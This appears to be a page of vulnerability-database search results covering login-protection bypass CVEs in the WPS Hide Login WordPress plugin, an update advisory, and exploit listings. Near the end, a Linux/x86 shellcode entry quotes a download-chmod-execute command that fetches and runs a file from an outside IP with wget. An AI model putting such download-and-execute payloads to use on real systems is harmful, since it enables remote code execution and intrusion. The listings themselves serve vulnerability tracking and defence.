943 matches found
CVE-2019-15826
The wps-hide-login plugin before 1.5.3 for WordPress has a protection bypass via wp-login.php in the Referer field...
CVE-2019-15823
The wps-hide-login plugin before 1.5.3 for WordPress has an action=confirmaction protection bypass...
CVE-2019-15823
The wps-hide-login plugin before 1.5.3 for WordPress has an action=confirmaction protection bypass...
CVE-2019-15825
The wps-hide-login plugin before 1.5.3 for WordPress has an action=rp&key&login protection bypass...
Design/Logic Flaw
The wps-hide-login plugin before 1.5.3 for WordPress has a protection bypass via wp-login.php in the Referer field...
Design/Logic Flaw
The wps-hide-login plugin before 1.5.3 for WordPress has an action=confirmaction protection bypass...
CVE-2019-15826
The CVE concerns the WordPress plugin wps-hide-login prior to 1.5.3, which exposes a protection bypass through the Referer header in wp-login.php. Affected component: the wps-hide-login plugin for WordPress (version
CVE-2019-15825
The wps-hide-login plugin before 1.5.3 for WordPress has an action=rp&key&login protection bypass...
CVE-2019-15825
The CVE-2019-15825 issue affects the WordPress plugin wps-hide-login before 1.5.3, where an action=rp&key&login protection bypass enables an unauthenticated attacker to bypass login protections. This has been assessed with CVSS: high/critical impact (C:H, I:H, A:H; network/vector: NONE/low comple...
CVE-2019-15824
The wps-hide-login plugin before 1.5.3 for WordPress has an adminhash protection bypass...
CVE-2019-15824
CVE-2019-15824 affects the WordPress plugin wps-hide-login (versions prior to 1.5.3). The vulnerability is an adminhash protection bypass, enabling bypass of login protections and exposing partial to high impact on confidentiality, integrity, and availability. CVSSv3 scores indicate 9.8 (CRITICAL...
CVE-2019-15823
CVE-2019-15823 affects the WPS Hide Login WordPress plugin prior to 1.5.3. The vulnerability is an action=confirmaction protection bypass in the login protection mechanism, allowing bypass of login checks with crafted requests. Impact cited in sources includes unauthorized access risk and protect...
CVE-2019-15825: Undefined Security Weakness
The wps-hide-login plugin before 1.5.3 for WordPress has an action=rp&key&login protection bypass...
CVE-2019-15824: Undefined Security Weakness
The wps-hide-login plugin before 1.5.3 for WordPress has an adminhash protection bypass...
CVE-2019-15823: Undefined Security Weakness
The wps-hide-login plugin before 1.5.3 for WordPress has an action=confirmaction protection bypass...
CVE-2019-15826: Undefined Security Weakness
The wps-hide-login plugin before 1.5.3 for WordPress has a protection bypass via wp-login.php in the Referer field...
WordPress WPS Hide Login plugin <= 1.5.2.2 - Multiples Security Issues
Multiples Security Issues found by Julio Potier in WordPress WPS Hide Login plugin versions = 1.5.2.2. Solution Update the WordPress WPS Hide Login plugin to the latest available version at least 1.5.3...
WPS Hide Login <= 1.5.2.2 - Multiples Issues
Protection Bypasses...
Linux/x86 - Chmod + Execute (/usr/bin/wget 192.168.1.93//x) Hide Output Shellcode (129 bytes)
Linux/x86 - Chmod + Execute /usr/bin/wget http://192.168.1.93//x + Hide Output Shellcode 129 bytes / ; Shellcode 129 Bytes ; download via wget + chmod + execute shellcode + hide output ; Exec: /usr/bin/wget http://192.168.1.93//x /dev/null 2&1 ; global start section .text start: ;fork xor eax,eax...
WordPress Cerber Security Antispam & Malware Scan 8.0 Plugin - Multiple Bypass Vulnerabilities
Exploit for php platform in category web applications Exploit Title: WordPress Cerber Security, Antispam & Malware Scan - Multiple Bypass Vulnerabilities Type: WordPress Plugin Active installs: 100,000+ Version: 8.0 Software Link: https://wordpress.org/plugins/wp-cerber/ Exploit Author: ed0x21son...